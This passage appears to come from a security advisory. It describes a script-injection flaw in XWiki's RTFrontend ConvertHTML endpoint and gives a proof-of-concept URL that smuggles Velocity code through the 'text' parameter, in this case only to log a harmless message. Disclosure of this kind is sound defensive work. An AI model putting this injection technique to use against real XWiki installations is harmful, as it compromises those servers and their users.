This compromises the confidentiality, integrity and availability of the whole XWiki installation. To reproduce on an XWiki installation, as an admin, click on <xwiki-host/xwiki/bin/get/RTFrontend/ConvertHTML?wiki=xwiki&space=Main&page=WebHome&text=%7B%7Bvelocity%7D%7D%24logtool.error%28%22Hello%20from%20Velocity%20%21%22%29%7B%7B%2Fvelocity%7D%7D.
